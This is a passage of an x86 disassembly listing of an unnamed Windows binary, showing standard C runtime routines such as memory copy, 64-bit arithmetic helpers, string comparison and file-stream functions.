		mov	[edi], al
		inc	esi
		shr	ecx, 2
		inc	edi
		cmp	ecx, 8
		jb	short loc_41CCEC
		rep movsd
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CD6C	dd offset loc_41CDCF	; DATA XREF: sub_41CC90:loc_41CCECr
		dd offset loc_41CDBC
		dd offset loc_41CDB4
		dd offset loc_41CDAC
		dd offset loc_41CDA4
		dd offset loc_41CD9C
		dd offset loc_41CD94
		dd offset loc_41CD8C
; ---------------------------------------------------------------------------


loc_41CD8C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F8o
		mov	eax, [esi+ecx*4-1Ch]
		mov	[edi+ecx*4-1Ch], eax


loc_41CD94:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F4o
		mov	eax, [esi+ecx*4-18h]
		mov	[edi+ecx*4-18h], eax


loc_41CD9C:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+F0o
		mov	eax, [esi+ecx*4-14h]
		mov	[edi+ecx*4-14h], eax


loc_41CDA4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+ECo
		mov	eax, [esi+ecx*4-10h]
		mov	[edi+ecx*4-10h], eax


loc_41CDAC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E8o
		mov	eax, [esi+ecx*4-0Ch]
		mov	[edi+ecx*4-0Ch], eax


loc_41CDB4:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E4o
		mov	eax, [esi+ecx*4-8]
		mov	[edi+ecx*4-8], eax


loc_41CDBC:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90+E0o
		mov	eax, [esi+ecx*4-4]
		mov	[edi+ecx*4-4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CDCF:				; CODE XREF: sub_41CC90:loc_41CCECj
					; DATA XREF: sub_41CC90:off_41CD6Co
		jmp	off_41CDD8[edx*4]
; ---------------------------------------------------------------------------
		align 4
off_41CDD8	dd offset loc_41CDE8	; DATA XREF: sub_41CC90+35r
					; sub_41CC90+92r ...
		dd offset loc_41CDF0
		dd offset loc_41CDFC
		dd offset loc_41CE10
; ---------------------------------------------------------------------------


loc_41CDE8:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CDF0:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CDFC:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 10h


loc_41CE10:				; CODE XREF: sub_41CC90+35j
					; sub_41CC90+92j ...
		mov	al, [esi]
		mov	[edi], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CE28:				; CODE XREF: sub_41CC90+1Aj
		lea	esi, [ecx+esi-4]
		lea	edi, [ecx+edi-4]
		test	edi, 3
		jnz	short loc_41CE5C
		shr	ecx, 2
		and	edx, 3
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h


loc_41CE50:				; CODE XREF: sub_41CC90+1B1j
					; sub_41CC90+208j ...
		neg	ecx
		jmp	off_41CF20[ecx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CE5C:				; CODE XREF: sub_41CC90+1A6j
		mov	eax, edi
		mov	edx, 3
		cmp	ecx, 4
		jb	short loc_41CE74
		and	eax, 3
		sub	ecx, eax
		jmp	dword ptr loc_41CE74+4[eax*4]
; ---------------------------------------------------------------------------


loc_41CE74:				; CODE XREF: sub_41CC90+1D6j
					; DATA XREF: sub_41CC90+1DDr
		jmp	off_41CF70[ecx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CE87+1
		dd offset loc_41CEA8
; ---------------------------------------------------------------------------
		ror	dh, 1
		inc	ecx


loc_41CE87:				; DATA XREF: sub_41CC90+1ECo
		add	[edx-2EDCFCBAh], cl
		mov	[edi+3], al
		dec	esi
		shr	ecx, 2
		dec	edi
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4


loc_41CEA8:				; DATA XREF: sub_41CC90+1F0o
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		shr	ecx, 2
		mov	[edi+2], al
		sub	esi, 2
		sub	edi, 2
		cmp	ecx, 8
		jb	short loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
		mov	al, [esi+3]
		and	edx, ecx
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		shr	ecx, 2
		mov	[edi+1], al
		sub	esi, 3
		sub	edi, 3
		cmp	ecx, 8
		jb	loc_41CE50
		std
		rep movsd
		cld
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 4
		dd offset loc_41CF24
		dd offset loc_41CF2C
		dd offset loc_41CF34
		dd offset loc_41CF3C
		dd offset loc_41CF44
		dd offset loc_41CF4C
		dd offset loc_41CF54
off_41CF20	dd offset loc_41CF67	; DATA XREF: sub_41CC90+1C2r
; ---------------------------------------------------------------------------


loc_41CF24:				; DATA XREF: sub_41CC90+274o
		mov	eax, [esi+ecx*4+1Ch]
		mov	[edi+ecx*4+1Ch], eax


loc_41CF2C:				; DATA XREF: sub_41CC90+278o
		mov	eax, [esi+ecx*4+18h]
		mov	[edi+ecx*4+18h], eax


loc_41CF34:				; DATA XREF: sub_41CC90+27Co
		mov	eax, [esi+ecx*4+14h]
		mov	[edi+ecx*4+14h], eax


loc_41CF3C:				; DATA XREF: sub_41CC90+280o
		mov	eax, [esi+ecx*4+10h]
		mov	[edi+ecx*4+10h], eax


loc_41CF44:				; DATA XREF: sub_41CC90+284o
		mov	eax, [esi+ecx*4+0Ch]
		mov	[edi+ecx*4+0Ch], eax


loc_41CF4C:				; DATA XREF: sub_41CC90+288o
		mov	eax, [esi+ecx*4+8]
		mov	[edi+ecx*4+8], eax


loc_41CF54:				; DATA XREF: sub_41CC90+28Co
		mov	eax, [esi+ecx*4+4]
		mov	[edi+ecx*4+4], eax
		lea	eax, ds:0[ecx*4]
		add	esi, eax
		add	edi, eax


loc_41CF67:				; CODE XREF: sub_41CC90+1C2j
					; DATA XREF: sub_41CC90:off_41CF20o
		jmp	off_41CF70[edx*4]
; ---------------------------------------------------------------------------
		align 10h
off_41CF70	dd offset loc_41CF80	; DATA XREF: sub_41CC90+1B7r
					; sub_41CC90:loc_41CE74r ...
		dd offset loc_41CF88
		dd offset loc_41CF98
		dd offset loc_41CFAC
; ---------------------------------------------------------------------------


loc_41CF80:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF88:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CF98:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
; ---------------------------------------------------------------------------
		align 4


loc_41CFAC:				; CODE XREF: sub_41CC90+1B7j
					; sub_41CC90:loc_41CE74j ...
		mov	al, [esi+3]
		mov	[edi+3], al
		mov	al, [esi+2]
		mov	[edi+2], al
		mov	al, [esi+1]
		mov	[edi+1], al
		mov	eax, [ebp+arg_0]
		pop	esi
		pop	edi
		leave
		retn
sub_41CC90	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFC5	proc near		; CODE XREF: sub_40D78B+34p
					; sub_40D78B+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41CFC5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41CFD3	proc near		; CODE XREF: sub_41D040+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_4DCFDC
		call	sub_422608
		mov	edx, dword_4DCFDC
		pop	ecx
		mov	ecx, dword_4DCFD8
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_41D032
		push	edx
		call	sub_422608
		add	eax, 10h
		push	eax
		push	dword_4DCFDC
		call	sub_41B202
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41D015
		retn
; ---------------------------------------------------------------------------


loc_41D015:				; CODE XREF: sub_41CFD3+3Fj
		mov	ecx, dword_4DCFD8
		sub	ecx, dword_4DCFDC
		mov	dword_4DCFDC, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_4DCFD8, ecx


loc_41D032:				; CODE XREF: sub_41CFD3+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_4DCFD8, 4
		retn
sub_41CFD3	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D040	proc near		; CODE XREF: sub_40D878+1Ap

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_41CFD3
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_41D040	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D052	proc near		; DATA XREF: ___:0042901Co
		push	80h
		call	sub_41B4D5
		test	eax, eax
		pop	ecx
		mov	dword_4DCFDC, eax
		jnz	short loc_41D073
		push	18h
		call	sub_41DA29
		mov	eax, dword_4DCFDC
		pop	ecx


loc_41D073:				; CODE XREF: sub_41D052+12j
		and	dword ptr [eax], 0
		mov	eax, dword_4DCFDC
		mov	dword_4DCFD8, eax
		retn
sub_41D052	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D081	proc near		; CODE XREF: ___:0040DB4Bp

var_CC		= byte ptr -0CCh
var_32		= word ptr -32h
var_24		= dword	ptr -24h
var_20		= word ptr -20h
var_1E		= word ptr -1Eh
var_1A		= word ptr -1Ah
var_18		= word ptr -18h
var_16		= word ptr -16h
var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_A		= word ptr -0Ah
var_8		= word ptr -8
var_6		= word ptr -6
var_4		= word ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 0CCh
		lea	eax, [ebp+var_10]
		push	eax
		nop
		call	near ptr 2770150h
		lea	eax, [ebp+var_20]
		push	eax
		nop
		call	near ptr 2880000h
		mov	ax, [ebp+var_16]
		cmp	ax, word_4DB992
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_18]
		cmp	ax, word_4DB990
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1A]
		cmp	ax, word_4DB98E
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_1E]
		cmp	ax, word_4DB98A
		jnz	short loc_41D0E6
		mov	ax, [ebp+var_20]
		cmp	ax, word_4DB988
		jnz	short loc_41D0E6
		mov	eax, dword_4DB980
		jmp	short loc_41D12B
; ---------------------------------------------------------------------------


loc_41D0E6:				; CODE XREF: sub_41D081+28j
					; sub_41D081+35j ...
		lea	eax, [ebp+var_CC]
		push	eax
		nop
		call	near ptr 2870000h
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D113
		cmp	eax, 2
		jnz	short loc_41D10F
		cmp	[ebp+var_32], 0
		jz	short loc_41D10F
		cmp	[ebp+var_24], 0
		jz	short loc_41D10F
		push	1
		pop	eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D10F:				; CODE XREF: sub_41D081+7Aj
					; sub_41D081+81j ...
		xor	eax, eax
		jmp	short loc_41D116
; ---------------------------------------------------------------------------


loc_41D113:				; CODE XREF: sub_41D081+75j
		or	eax, 0FFFFFFFFh


loc_41D116:				; CODE XREF: sub_41D081+8Cj
					; sub_41D081+90j
		push	esi
		push	edi
		lea	esi, [ebp+var_20]
		mov	edi, offset word_4DB988
		movsd
		movsd
		movsd
		movsd
		pop	edi
		mov	dword_4DB980, eax
		pop	esi


loc_41D12B:				; CODE XREF: sub_41D081+63j
		push	eax
		movzx	eax, [ebp+var_4]
		push	eax
		movzx	eax, [ebp+var_6]
		push	eax
		movzx	eax, [ebp+var_8]
		push	eax
		movzx	eax, [ebp+var_A]
		push	eax
		movzx	eax, [ebp+var_E]
		push	eax
		movzx	eax, [ebp+var_10]
		push	eax
		call	sub_422669
		mov	ecx, [ebp+arg_0]
		add	esp, 1Ch
		test	ecx, ecx
		jz	short locret_41D15B
		mov	[ecx], eax

locret_41D15B:				; CODE XREF: sub_41D081+D6j
		leave
		retn
sub_41D081	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D160	proc near

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	edi
		push	esi
		push	ebx
		mov	esi, [ebp+arg_4]
		mov	edi, [ebp+arg_0]
		lea	eax, dword_4DB9DC
		cmp	dword ptr [eax+8], 0
		jnz	short loc_41D1B3
		mov	al, 0FFh
		mov	edi, edi


loc_41D17C:				; CODE XREF: sub_41D160+28j
					; sub_41D160+48j
		or	al, al
		jz	short loc_41D1AE
		mov	al, [esi]
		inc	esi
		mov	ah, [edi]
		inc	edi
		cmp	ah, al
		jz	short loc_41D17C
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		xchg	ah, al
		sub	al, 41h
		cmp	al, 1Ah
		sbb	cl, cl
		and	cl, 20h
		add	al, cl
		add	al, 41h
		cmp	al, ah
		jz	short loc_41D17C
		sbb	al, al
		sbb	al, 0FFh


loc_41D1AE:				; CODE XREF: sub_41D160+1Ej
		movsx	eax, al
		jmp	short loc_41D1E7
; ---------------------------------------------------------------------------


loc_41D1B3:				; CODE XREF: sub_41D160+16j
		mov	eax, 0FFh
		xor	ebx, ebx
		mov	edi, edi


loc_41D1BC:				; CODE XREF: sub_41D160+68j
					; sub_41D160+80j
		or	al, al
		jz	short loc_41D1E7
		mov	al, [esi]
		inc	esi
		mov	bl, [edi]
		inc	edi
		cmp	al, bl
		jz	short loc_41D1BC
		push	eax
		push	ebx
		call	sub_41D74C
		mov	ebx, eax
		add	esp, 4
		call	sub_41D74C
		add	esp, 4
		cmp	bl, al
		jz	short loc_41D1BC
		sbb	eax, eax
		sbb	eax, 0FFFFFFFFh


loc_41D1E7:				; CODE XREF: sub_41D160+51j
					; sub_41D160+5Ej
		pop	ebx
		pop	esi
		pop	edi
		leave
		retn
sub_41D160	endp

; ---------------------------------------------------------------------------
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	eax, [esi+0Ch]
		test	al, 83h
		jz	short loc_41D268
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_41D20B
		cmp	edi, 1
		jz	short loc_41D20B
		cmp	edi, 2
		jnz	short loc_41D268


loc_41D20B:				; CODE XREF: ___:0041D1FFj
					; ___:0041D204j
		and	al, 0EFh
		cmp	edi, 1
		mov	[esi+0Ch], eax
		jnz	short loc_41D222
		push	esi
		call	sub_4227C5
		add	[esp+14h], eax
		pop	ecx
		xor	edi, edi


loc_41D222:				; CODE XREF: ___:0041D213j
		push	esi
		call	sub_41DB8B
		mov	eax, [esi+0Ch]
		pop	ecx
		test	al, 80h
		jz	short loc_41D237
		and	al, 0FCh
		mov	[esi+0Ch], eax
		jmp	short loc_41D24B
; ---------------------------------------------------------------------------


loc_41D237:				; CODE XREF: ___:0041D22Ej
		test	al, 1
		jz	short loc_41D24B
		test	al, 8
		jz	short loc_41D24B
		test	ah, 4
		jnz	short loc_41D24B
		mov	dword ptr [esi+18h], 200h


loc_41D24B:				; CODE XREF: ___:0041D235j
					; ___:0041D239j ...
		push	edi
		push	dword ptr [esp+14h]
		push	dword ptr [esi+10h]
		call	sub_42272B
		add	esp, 0Ch
		xor	ecx, ecx
		cmp	eax, 0FFFFFFFFh
		setnz	cl
		dec	ecx
		mov	eax, ecx
		jmp	short loc_41D275
; ---------------------------------------------------------------------------


loc_41D268:				; CODE XREF: ___:0041D1F7j
					; ___:0041D209j
		mov	dword_4DB928, 16h
		or	eax, 0FFFFFFFFh


loc_41D275:				; CODE XREF: ___:0041D266j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D280	proc near		; CODE XREF: sub_412B08+19Ep
					; sub_41386B+11Bp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		mov	eax, [esp+arg_4]
		mov	ecx, [esp+arg_C]
		or	ecx, eax
		mov	ecx, [esp+arg_8]
		jnz	short loc_41D299
		mov	eax, [esp+arg_0]
		mul	ecx
		retn	10h
; ---------------------------------------------------------------------------


loc_41D299:				; CODE XREF: sub_41D280+Ej
		push	ebx
		mul	ecx
		mov	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	[esp+4+arg_C]
		add	ebx, eax
		mov	eax, [esp+4+arg_0]
		mul	ecx
		add	edx, ebx
		pop	ebx
		retn	10h
sub_41D280	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D2B4	proc near		; CODE XREF: ___:004162E3p

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	eax, [ebp+arg_0]
		mov	[ebp+var_4], edi
		test	edi, edi
		mov	[ebp+arg_0], eax
		mov	ebx, edi
		jnz	short loc_41D2D8
		xor	eax, eax
		jmp	loc_41D3A5
; ---------------------------------------------------------------------------


loc_41D2D8:				; CODE XREF: sub_41D2B4+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41D2EB
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41D2F2
; ---------------------------------------------------------------------------


loc_41D2EB:				; CODE XREF: sub_41D2B4+2Dj
		mov	[ebp+arg_C], 1000h


loc_41D2F2:				; CODE XREF: sub_41D2B4+35j
					; sub_41D2B4+E8j
		mov	ecx, [esi+0Ch]
		and	ecx, 108h
		jz	short loc_41D326
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41D326
		cmp	ebx, eax
		mov	edi, ebx
		jb	short loc_41D30C
		mov	edi, eax


loc_41D30C:				; CODE XREF: sub_41D2B4+54j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi]
		call	sub_41C310
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		sub	ebx, edi
		add	[ebp+arg_0], edi
		jmp	short loc_41D36C
; ---------------------------------------------------------------------------


loc_41D326:				; CODE XREF: sub_41D2B4+47j
					; sub_41D2B4+4Ej
		cmp	ebx, [ebp+arg_C]
		jb	short loc_41D371
		test	ecx, ecx
		jz	short loc_41D33A
		push	esi
		call	sub_41DB8B
		test	eax, eax
		pop	ecx
		jnz	short loc_41D3B3


loc_41D33A:				; CODE XREF: sub_41D2B4+79j
		cmp	[ebp+arg_C], 0
		jz	short loc_41D34D
		mov	eax, ebx
		xor	edx, edx
		div	[ebp+arg_C]
		mov	edi, ebx
		sub	edi, edx
		jmp	short loc_41D34F
; ---------------------------------------------------------------------------


loc_41D34D:				; CODE XREF: sub_41D2B4+8Aj
		mov	edi, ebx


loc_41D34F:				; CODE XREF: sub_41D2B4+97j
		push	edi
		push	[ebp+arg_0]
		push	dword ptr [esi+10h]
		call	sub_42291D
		add	esp, 0Ch
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41D3AA
		add	[ebp+arg_0], eax
		sub	ebx, eax
		cmp	eax, edi
		jb	short loc_41D3AA


loc_41D36C:				; CODE XREF: sub_41D2B4+70j
		mov	edi, [ebp+var_4]
		jmp	short loc_41D39A
; ---------------------------------------------------------------------------


loc_41D371:				; CODE XREF: sub_41D2B4+75j
		mov	eax, [ebp+arg_0]
		push	esi
		movsx	eax, byte ptr [eax]
		push	eax
		call	sub_41F58A
		pop	ecx
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41D3B3
		inc	[ebp+arg_0]
		mov	eax, [esi+18h]
		dec	ebx
		mov	[ebp+arg_C], eax
		test	eax, eax
		jg	short loc_41D39A
		mov	[ebp+arg_C], 1


loc_41D39A:				; CODE XREF: sub_41D2B4+BBj
					; sub_41D2B4+DDj
		test	ebx, ebx
		jnz	loc_41D2F2
		mov	eax, [ebp+arg_8]


loc_41D3A5:				; CODE XREF: sub_41D2B4+1Fj
					; sub_41D2B4+108j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41D3AA:				; CODE XREF: sub_41D2B4+ADj
					; sub_41D2B4+B6j
		or	dword ptr [esi+0Ch], 20h
		mov	eax, [ebp+var_4]
		jmp	short loc_41D3B5
; ---------------------------------------------------------------------------


loc_41D3B3:				; CODE XREF: sub_41D2B4+84j
					; sub_41D2B4+CFj
		mov	eax, edi


loc_41D3B5:				; CODE XREF: sub_41D2B4+FDj
		sub	eax, ebx
		xor	edx, edx
		div	[ebp+arg_4]
		jmp	short loc_41D3A5
sub_41D2B4	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D3BE	proc near		; CODE XREF: sub_416908+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	near ptr 26803E7h
		nop
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41D3DE
		call	near ptr 2670E94h
		nop
		push	eax
		call	sub_4203DF
		pop	ecx


loc_41D3DA:				; CODE XREF: sub_41D3BE+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_41D3DE:				; CODE XREF: sub_41D3BE+Dj
		test	al, 1
		jz	short loc_41D3FF
		test	[esp+arg_4], 2
		jz	short loc_41D3FF
		mov	dword_4DB928, 0Dh
		mov	dword_4DB92C, 5
		jmp	short loc_41D3DA
; ---------------------------------------------------------------------------


loc_41D3FF:				; CODE XREF: sub_41D3BE+22j
					; sub_41D3BE+29j
		xor	eax, eax
		retn
sub_41D3BE	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D410	proc near		; CODE XREF: sub_416922+3Fp
					; sub_41A98C+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_41D432
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D473
; ---------------------------------------------------------------------------


loc_41D432:				; CODE XREF: sub_41D410+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_41D440:				; CODE XREF: sub_41D410+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D440
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D46E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_41D46E
		jb	short loc_41D46F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_41D46F


loc_41D46E:				; CODE XREF: sub_41D410+4Ej
					; sub_41D410+54j
		dec	esi


loc_41D46F:				; CODE XREF: sub_41D410+56j
					; sub_41D410+5Cj
		xor	edx, edx
		mov	eax, esi


loc_41D473:				; CODE XREF: sub_41D410+20j
		pop	esi
		pop	ebx
		retn	10h
sub_41D410	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D480	proc near		; CODE XREF: sub_416922+2Dp
					; sub_41A98C+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_41D4A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_41D4F1
; ---------------------------------------------------------------------------


loc_41D4A1:				; CODE XREF: sub_41D480+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_41D4AF:				; CODE XREF: sub_41D480+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_41D4AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_41D4DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_41D4DA
		jb	short loc_41D4E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_41D4E2


loc_41D4DA:				; CODE XREF: sub_41D480+4Aj
					; sub_41D480+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_41D4E2:				; CODE XREF: sub_41D480+52j
					; sub_41D480+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D4F1:				; CODE XREF: sub_41D480+1Fj
		pop	ebx
		retn	10h
sub_41D480	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41D500	proc near		; CODE XREF: sub_416A32+5Fp
					; sub_416A32+92p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_41D521
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_41D521:				; CODE XREF: sub_41D500+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_41D53D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_41D53D:				; CODE XREF: sub_41D500+27j
		or	eax, eax
		jnz	short loc_41D559
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_41D59A
; ---------------------------------------------------------------------------


loc_41D559:				; CODE XREF: sub_41D500+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_41D567:				; CODE XREF: sub_41D500+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_41D567
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_41D595
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_41D595
		jb	short loc_41D596
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_41D596


loc_41D595:				; CODE XREF: sub_41D500+85j
					; sub_41D500+8Bj
		dec	esi


loc_41D596:				; CODE XREF: sub_41D500+8Dj
					; sub_41D500+93j
		xor	edx, edx
		mov	eax, esi


loc_41D59A:				; CODE XREF: sub_41D500+57j
		dec	edi
		jnz	short loc_41D5A4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_41D5A4:				; CODE XREF: sub_41D500+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_41D500	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


